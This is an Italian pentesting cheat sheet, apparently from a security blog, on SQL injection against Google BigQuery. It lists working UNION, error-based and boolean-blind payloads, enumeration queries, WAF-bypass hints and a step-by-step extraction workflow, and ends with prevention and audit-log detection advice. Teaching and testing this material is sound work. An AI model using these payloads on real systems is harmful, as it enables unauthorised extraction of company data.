web-hacking

SQL Injection BigQuery: Payload e Cheat Sheet per Pentest

SQL Injection BigQuery: Payload e Cheat Sheet per Pentest

SQL injection su BigQuery: cheat sheet per pentesting con payload UNION, exploit, error-based e boolean-based, EXECUTE IMMEDIATE, bypass WAF e mitigazioni pratiche.

  • Pubblicato il 2026-11-20
  • Tempo di lettura: 6 min

SQL Injection su Google BigQuery: Payload ed Enumerazione #

La SQL injection su Google BigQuery è una vulnerabilità che permette di inserire codice SQL dentro una query GoogleSQL e farlo eseguire sul data warehouse di BigQuery. BigQuery non è un database tradizionale: è un servizio cloud di Google pensato per query analitiche su enormi quantità di dati, con una sintassi propria (GoogleSQL, erede di SQL standard) e senza molte delle funzioni “offensive” che trovi su MySQL o PostgreSQL. Non esiste SLEEP(), non esiste lettura/scrittura di file, non esiste esecuzione di comandi: l’impatto di una SQL injection qui si ferma quasi sempre all’estrazione di dati.

Questa guida copre rilevamento, enumerazione, UNION, error-based e boolean-based. Ultimo aggiornamento: ottobre 2026.

Da provare solo su lab e target autorizzati. Per la teoria generale parti da SQL Injection ; per i DBMS tradizionali ci sono SQL Injection MySQL , SQL Injection PostgreSQL , SQL Injection Oracle , SQL Injection SQLite e SQL Injection MSSQL .


Dove si trova una SQL injection su BigQuery #

Non è un database dietro un sito web qualsiasi: di solito la incontri in applicazioni interne o dashboard aziendali che costruiscono query BigQuery a partire da input dell’utente (filtri di una dashboard, un campo di ricerca su una web app che gira su Google Cloud). Tienilo a mente perché cambia anche il tipo di dati a rischio: spesso sono dataset analitici, log o dati di business, non le classiche tabelle users/password di un’app web.


Come capire se il parametro è vulnerabile #

sql
?id=1'
SELECT ... FROM `project_id.dataset_name.table_name` ...

Nota la sintassi con i backtick (`): in BigQuery il nome completo di una tabella si scrive come `progetto.dataset.tabella`, con i backtick per racchiudere l’identificatore (necessari soprattutto quando il nome del progetto contiene un trattino). Se vedi questa struttura nelle richieste dell’app, è un buon indizio che stai parlando con BigQuery.

Dopo aver confermato l’injection, due informazioni di base:

sql
SELECT @@project_id
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA

@@project_id è una variabile di sistema che restituisce l’ID del progetto Google Cloud corrente — l’equivalente del “nome del database” su altri motori. BigQuery, a differenza di MySQL o PostgreSQL, ha un suo INFORMATION_SCHEMA, ma attenzione: in BigQuery i “dataset” sono il livello che in altri DBMS chiameresti schema/database, quindi INFORMATION_SCHEMA.SCHEMATA qui ti elenca i dataset, non singoli database separati.

Una volta che hai un progetto e un dataset, leggi direttamente da una tabella specifica:

sql
SELECT * FROM project_id.dataset_name.table_name

Commenti in BigQuery #

TipoSintassi
Commento hash#
Commento in stile C/* commento */

Il commento con # è quello che userai più spesso per “tagliare” il resto della query originale, come il # di MySQL.


UNION Based #

La particolarità di BigQuery: GoogleSQL richiede che le colonne usate in GROUP BY siano coerenti con quelle selezionate, e questo porta a payload un po’ più elaborati del solito UNION SELECT NULL,NULL.

sql
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

Varianti usate quando serve chiudere una struttura GROUP BY ... LIMIT già presente nella query originale:

sql
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

Per estrarre dati da una tabella specifica una volta noti progetto e dataset:

sql
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (SELECT column_name AS new_name FROM `project_id.dataset_name.table_name`) AS A GROUP BY column_name#

Il numero di 1 e le parentesi chiuse ())) in questi payload servono a bilanciare esattamente le parentesi e i raggruppamenti della query originale: più che “contare le colonne” come su MySQL, qui stai ricostruendo una struttura sintattica compatibile pezzo per pezzo. Aspettati di dover aggiustare il numero di 1 e di parentesi guardando l’errore esatto che ti restituisce l’applicazione.


Error Based #

sql
' OR if(1/(length((select('a')))-1)=1,true,false) OR '

Qui sfrutti una divisione per zero: length('a') restituisce 1, quindi 1-1 fa 0, e 1/0 genera un errore di BigQuery. Se l’errore compare nella risposta, confermi che la tua espressione viene valutata — la base per costruire condizioni più complesse sullo stesso principio (dividi per zero solo quando una condizione è vera).

sql
SELECT CAST(@@project_id AS INT64)

Forzare la conversione dell’ID progetto (una stringa) in un intero (INT64) genera un errore di cast che, se mostrato, contiene il valore originale — stesso principio del CAST error-based già visto su PostgreSQL.


Boolean Based (Blind) #

sql
' WHERE SUBSTRING((SELECT column_name FROM `project_id.dataset_name.table_name` LIMIT 1),1,1)='A'#

Stessa logica blind degli altri DBMS: SUBSTRING estrae un carattere alla volta e lo confronti con un valore di prova. La differenza che nota la pagina sopra è vera: la risposta della pagina (vera/falsa) è l’unico segnale, perché BigQuery non ha un vero costrutto IF/CASE altrettanto comodo da usare inline in questi contesti blind come su MySQL.


Niente Time Based #

BigQuery non ha funzioni di tipo SLEEP(): è un motore pensato per eseguire query analitiche in parallelo su grandi quantità di dati, non per gestire connessioni interattive dove un ritardo misurabile avrebbe senso nello stesso modo. Se UNION, error-based e boolean-based sono tutti bloccati, non hai un’alternativa time-based equivalente a quella di MySQL o PostgreSQL: a quel punto il parametro va considerato difficile da sfruttare oltre la semplice conferma dell’injection.


Niente file, niente comandi #

A differenza di MySQL (webshell via INTO OUTFILE), PostgreSQL (COPY ... TO PROGRAM) o Oracle (Java/DBMS_SCHEDULER), BigQuery non offre alcuna funzione per leggere o scrivere file sul filesystem, né per eseguire comandi di sistema. È un servizio gestito completamente da Google: non esiste un “server” sotto il tuo controllo o quello dell’attaccante da raggiungere in quel modo. L’impatto massimo realistico di una SQL injection qui è l’accesso non autorizzato ai dati di altri progetti, dataset o tabelle a cui l’identità del servizio ha visibilità.


Bypass del WAF #

Avoiding Quotes #

Nessun trucco specifico diverso da quelli già visti: CHR()/concatenazione non sono native in GoogleSQL nello stesso modo, quindi la via più pratica resta aggiustare la struttura delle parentesi e dei GROUP BY come visto nella sezione UNION, piuttosto che puntare su stringhe senza apici.

Un write-up pubblico (Akamai) descrive bypass specifici per i WAF comuni (Cloud Armor e altri) basati proprio su queste strutture di GROUP BY/LIMIT annidate: se il primo payload UNION viene bloccato, prova a variare l’ordine delle clausole e il numero di parentesi prima di cambiare tecnica.


Tecniche avanzate extra: SQL dinamico con EXECUTE IMMEDIATE #

BigQuery supporta blocchi di scripting (BEGIN ... END) con variabili e SQL costruito a runtime tramite EXECUTE IMMEDIATE. Se un’applicazione usa questa funzione per costruire query dinamiche concatenando input dell’utente (un pattern comune per query “flessibili” generate lato backend), il rischio di injection si sposta dentro lo script stesso, con lo stesso principio di EXEC()/sp_executesql su SQL Server o EXECUTE IMMEDIATE su Oracle.

sql
-- Example of vulnerable application-side code (pseudo-script)
EXECUTE IMMEDIATE FORMAT('SELECT * FROM `project.dataset.%s`', user_input);

Se user_input non è validato, puoi chiudere il nome tabella previsto e aggiungere la tua query: lo stesso principio di un’injection su un identificatore dinamico visto per i nomi di colonna in ORDER BY su altri DBMS (vedi SQL Injection MySQL ). La difesa qui non passa da query parametrizzate sul valore (perché qui il valore diventa parte della struttura, non un dato), ma da una whitelist rigida di nomi di tabelle/colonne ammessi prima di passarli a FORMAT()/EXECUTE IMMEDIATE.


Flusso operativo #

  1. Trova il parametro e conferma con '.
  2. Enumera: @@project_id, poi INFORMATION_SCHEMA.SCHEMATA per i dataset.
  3. Scegli la tecnica: UNION se vedi output (richiede di aggiustare parentesi e GROUP BY), error-based (divisione per zero o CAST) se vedi errori, boolean-based altrimenti.
  4. Enumera le tabelle dentro il dataset trovato, poi le colonne.
  5. Estrai i dati con SELECT ... FROM project.dataset.tabella.
  6. Documenta: payload, risposta e impatto reale — qui l’impatto è quasi sempre “solo” accesso ai dati, mai RCE.

Come difendersi e come rilevare l’attacco #

Prevenzione

  • Query parametrizzate: le librerie client di BigQuery (Python, Node, Java) supportano i parametri con named o positional placeholder — usali sempre per i valori forniti dall’utente.
  • Non costruire mai nomi di tabelle o dataset concatenando input utente, nemmeno con parametri: i nomi di oggetti (a differenza dei valori) non si parametrizzano, quindi vanno validati con una whitelist.
  • Principio del minimo privilegio sui ruoli IAM: l’identità di servizio che esegue le query non deve avere accesso a dataset o progetti che l’applicazione non deve mai mostrare.
  • Row-level security e column-level security di BigQuery, se il caso d’uso lo prevede, limitano il danno anche in caso di injection riuscita.

Rilevazione

  • I log di Cloud Audit Logs registrano ogni query eseguita su BigQuery: cerca pattern con GROUP BY annidati sospetti, INFORMATION_SCHEMA, CAST(... AS INT64) ripetuti con valori diversi.
  • Allarme su query che toccano dataset o progetti diversi da quelli normalmente usati dall’applicazione.

Domande frequenti #

Cos’è una SQL injection su BigQuery? #

È una vulnerabilità in cui l’input dell’utente finisce senza controlli dentro una query GoogleSQL eseguita da BigQuery, permettendo di leggere dati da dataset e tabelle a cui l’applicazione ha accesso, oltre quelli previsti.

Posso arrivare a RCE su BigQuery? #

No. BigQuery è un servizio gestito senza funzioni di accesso al filesystem o di esecuzione comandi esposte via SQL: l’impatto massimo è l’accesso non autorizzato ai dati.

Perché non c’è un time-based come SLEEP()? #

Perché BigQuery è un motore analitico pensato per query batch su grandi volumi di dati in parallelo, non per connessioni interattive: non ha mai avuto bisogno di una funzione di pausa deliberata.

Come mi esercito in modo legale? #

Con un progetto Google Cloud personale e un dataset pubblico o creato da te, oppure in lab e CTF che replicano scenari cloud. Mai contro progetti di cui non sei proprietario o non hai autorizzazione scritta.


Conclusione #

BigQuery porta la SQL injection fuori dal territorio consueto dei “server database”: niente file, niente comandi, niente sleep — solo estrazione dati, ma potenzialmente su enormi dataset aziendali. La parte più delicata da padroneggiare è la sintassi: backtick per i nomi completi, @@project_id al posto di database(), e payload UNION che devono bilanciare GROUP BY e parentesi piuttosto che “solo” contare colonne.

Questa guida segue la struttura della pagina BigQuery di PayloadsAllTheThings , arricchita con spiegazioni e difese.

#SQL Injection #BigQuery #GoogleSQL #Error-Based #Bypass WAF

lascia un messaggio

Non sono un robot